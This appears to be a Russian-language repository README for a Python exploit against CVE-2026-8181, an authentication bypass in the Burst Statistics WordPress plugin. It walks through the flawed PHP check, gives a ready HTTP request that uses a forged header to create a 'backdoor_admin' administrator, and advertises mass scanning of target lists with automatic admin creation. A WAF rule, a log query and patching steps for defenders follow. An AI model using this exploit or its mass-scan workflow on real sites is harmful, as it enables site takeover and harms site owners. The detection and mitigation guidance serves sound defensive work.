
Python PoC для CVE-2026-8181, критический обход аутентификации в плагине Burst Statistics для WordPress. Включает автоматизацию эксплуатации, массовое сканирование и создание учетной записи администратора для авторизованного тестирования безопасности.
[!CAUTION] КРИТИЧЕСКОЕ ПРЕДУПРЕЖДЕНИЕ: Эта уязвимость позволяет неаутентифицированному удалённому злоумышленнику обойти аутентификацию и получить полные привилегии администратора на целевом сайте WordPress, просто внедрив пользовательский HTTP-заголовок. Данный CVE в настоящее время активно эксплуатируется в реальных атаках.
CVE-2026-8181 — критическая уязвимость обхода аутентификации, затрагивающая плагин Burst Statistics для WordPress (версии 3.4.0 – 3.4.1.1). Ошибка находится в интеграции с MainWP-прокси плагина. Из-за некорректной проверки паролей приложений во время раннего хука plugins_loaded плагин ошибочно предоставляет административный контекст REST API-запросам, содержащим заголовок X-BurstMainWP: 1, даже если в запросе отсутствуют действительные учётные данные.
Таким образом, простой неаутентифицированный HTTP-запрос превращается в полный захват административных прав, обходя все стандартные механизмы аутентификации WordPress.
Чтобы понять, как простой заголовок даёт ключи от королевства, разберём PHP-логику в обработчике аутентификации плагина.
Уязвимость возникает из-за некорректной условной ветки в методе is_mainwp_authenticated() файла includes/Frontend/class-mainwp-proxy.php.
init() на хуке plugins_loaded с приоритетом 9. Это слишком рано в жизненном цикле WordPress.X-BurstMainWP: 1, метод has_admin_access() делегирует аутентификацию методу is_mainwp_authenticated().Authorization и передаёт учётные данные в ядро WordPress — функцию wp_authenticate_application_password().application_password_is_api_request в true (из-за раннего выполнения хука), функция ядра возвращает null вместо объекта WP_Error.is_wp_error( $user ). Поскольку null не является WP_Error, защита пропускается.wp_set_current_user() с предоставленным злоумышленником именем пользователя, мгновенно повышая уровень запроса до полного административного контекста.// Упрощённое представление уязвимого кода в Burst Statistics <= 3.4.1.1
$user = wp_authenticate_application_password( null, $username, $password );
if ( is_wp_error( $user ) ) {
return false; // Корректно обрабатывает явные ошибки аутентификации
}
// 🚨 ФАТАЛЬНАЯ ОШИБКА 🚨
// Если пароль приложения не указан или запрос API ещё не помечен,
// wp_authenticate_application_password возвращает NULL.
// Код не проверяет NULL!
if ( $user === null ) {
// Вместо безопасного отказа попадает в эту небезопасную ветку:
$admin_user = get_user_by( 'login', $attacker_supplied_username );
wp_set_current_user( $admin_user->ID ); // BOOM: Предоставлен контекст администратора!
return true;
}
Этот раздел предназначен для Red Team и уполномоченных пентестеров.
/wp-content/plugins/burst-statistics/readme.txt).GET /wp-json/wp/v2/users. Если заблокировано, используйте трюк с архивом автора: /?author=1.POST /wp-json/wp/v2/users.X-BurstMainWP: 1Authorization: Basic <base64(admin_username:fake_password)>null и повышает запрос до контекста администратора. Создаётся новый пользователь-администратор.POST /wp-json/wp/v2/users HTTP/1.1
Host: target.com
X-BurstMainWP: 1
Authorization: Basic YWRtaW46ZmFrZV9wYXNzd29yZA==
Content-Type: application/json
{
"username": "backdoor_admin",
"password": "SuperSecretPassword123!",
"email": "[email protected]",
"roles": ["administrator"]
}
[!IMPORTANT] Важное замечание об окружении: Для успешной эксплуатации заголовок
Authorizationдолжен достигать PHP.
- Nginx / LiteSpeed / Apache с человеко-понятными ссылками (Pretty Permalinks): Заголовок передаётся. Эксплойт УСПЕШЕН.
- Apache с обычными ссылками (Plain Permalinks, по умолчанию): Заголовок молча отбрасывается веб-сервером. Эксплойт НЕУДАЧЕН.
Этот раздел предназначен для Blue Team, SOC-аналитиков и системных администраторов.
Заблокируйте или отслеживайте конкретный заголовок на границе сети.
Правило для ModSecurity / OWASP CRS:
SecRule REQUEST_HEADERS:X-BurstMainWP "@streq 1" \
"id:1000001, \
phase:1, \
deny, \
status:403, \
log, \
msg:'CVE-2026-8181: Попытка обхода аутентификации Burst Statistics', \
tag:'CVE-2026-8181', \
severity:'CRITICAL'"
Пользовательское правило Cloudflare WAF:
(http.request.headers["X-BurstMainWP"] eq "1")
Проверьте журналы веб-сервера на наличие заголовка в сочетании с созданием пользователей через REST API.
Запрос для Splunk / ELK:
index=web_logs ("X-BurstMainWP"="1" OR "x-burstmainwp"="1") AND uri="/wp-json/wp/v2/users" AND method="POST"
| stats count by src_ip, uri
| where count > 0
При подозрении на взлом ищите следующие признаки пост-эксплуатации:
wp_users на наличие учётных записей, созданных через REST API с ролью administrator.wp-content/plugins/ на несанкционированные загрузки (часто веб-шеллы, замаскированные под легитимные плагины).wp-content/themes/ или в основных файлах.[!IMPORTANT] Требуется немедленное действие: Если вы используете уязвимую версию, немедленно примените одно из следующих смягчающих мер.
| Приоритет | Действие | Подробности |
|---|---|---|
| P0 | Установите исправление плагина | Обновите Burst Statistics до версии 3.4.2 или выше немедленно через панель управления WordPress. |
| P1 | Виртуальное исправление WAF | Если невозможно установить исправление немедленно, разверните правила WAF (выше) для блокировки заголовка X-BurstMainWP. |
| P2 | Ограничьте перечисление пользователей | Используйте плагин безопасности или правила .htaccess для блокировки публичного доступа к /wp-json/wp/v2/users и /?author=*. |
| P3 | Аудит пользователей и файлов | Запустите скрипт для проверки недавно созданных учётных записей администраторов и отзыва несанкционированного доступа. Просканируйте на веб-шеллы. |
Этот репозиторий содержит CVE-2026-8181.py — автоматизированный инструмент на Python для проверки уязвимости в авторизованных лабораторных средах.
| Возможность | Описание |
|---|---|
| 🎯 Одиночная цель | Сканирование конкретного сайта с помощью флага -u. |
| 📦 Массовые операции | Загрузка списка целей через -f targets.txt (поддерживаются комментарии через #). |
| ⚡ Параллелизм | Ускорение массового сканирования с помощью потоков (-j N). |
| 💾 Умный вывод | -o file.txt для общего отчёта. В массовом режиме логируются только успешные эксплойты. |
| 📂 Индивидуальные дампы | Используйте --output-dir для сохранения отдельных файлов .txt для каждого скомпрометированного хоста. |
| 👤 Создание администратора | Используйте --create-user для автоматического создания новой учётной записи администратора через REST API. |
| 🔓 Лабораторный TLS | Используйте -k для игнорирования ошибок SSL-сертификата (строго для локальных/доверенных лабораторных сред). |
# 1. Установите зависимости
pip3 install requests urllib3
# 2. Разведка одного сайта и автоматическое создание нового администратора
python3 CVE-2026-8181.py -u http://lab.local -U admin --create-user -o report.txt -k
# 3. Массовое сканирование с единым файлом успешных атак
python3 CVE-2026-8181.py -f targets.txt -j 20 -o successes.txt -k
# 4. Массовое сканирование с индивидуальными отчётами по хостам
python3 CVE-2026-8181.py -f targets.txt -j 20 --output-dir ./results -k
[!WARNING] ТОЛЬКО ДЛЯ ОБРАЗОВАТЕЛЬНЫХ ЦЕЛЕЙ И АВТОРИЗОВАННОГО ТЕСТИРОВАНИЯ.
Информация, предоставленная в этом репозитории, предназначена для образовательных целей, исследований в области безопасности и авторизованного тестирования на проникновение. Эксплуатация уязвимостей против систем без явного письменного разрешения владельца системы незаконна и нарушает международные киберзаконы.
Авторы и участники этого репозитория не несут никакой ответственности и не отвечают за любое неправомерное использование, ущерб или юридические последствия, возникшие в результате использования этого инструмента или информации. Всегда действуйте ответственно и этично.